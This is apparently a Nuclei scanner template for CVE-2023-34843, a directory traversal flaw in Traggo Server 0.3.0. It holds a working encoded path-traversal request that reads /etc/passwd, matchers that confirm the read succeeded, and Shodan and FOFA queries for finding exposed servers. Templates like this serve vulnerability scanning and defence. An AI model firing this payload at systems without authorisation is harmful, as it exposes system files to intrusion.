id: CVE-2023-34843

info:
  name: Traggo Server - Local File Inclusion
  author: DhiyaneshDk
  severity: high
  description: |
    traggo/server version 0.3.0 is vulnerable to directory traversal.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the server.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://github.com/rootd4ddy/CVE-2023-34843
    - https://github.com/0x783kb/Security-operation-book
    - https://github.com/Imahian/CVE-2023-34843
    - https://github.com/hheeyywweellccoommee/CVE-2023-34843-illrj
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-34843
    cwe-id: CWE-22
    epss-score: 0.07176
    epss-percentile: 0.9366
    cpe: cpe:2.3:a:traggo:traggo:0.3.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: traggo
    product: traggo
    shodan-query:
      - html:"traggo"
      - http.html:"traggo"
    fofa-query: body="traggo"
  tags: cve2023,cve,traggo,lfi,server,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/static/..%5c..%5c..%5c..%5cetc/passwd"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - text/plain

      - type: regex
        part: body
        regex:
          - "root:.*:0:0"

      - type: status
        status:
          - 200
# digest: 4a0a004730450220642f34f4c0d2c170c4f22461cc1f6d35fa9e8c4cf2079feaa958e5ce1d771c21022100b38cdc160b5b5cf3ac420f6155d4cf678e714d7c3d92ec4ef8bc505dea447325:922c64590222798bb761d5b6d8e72950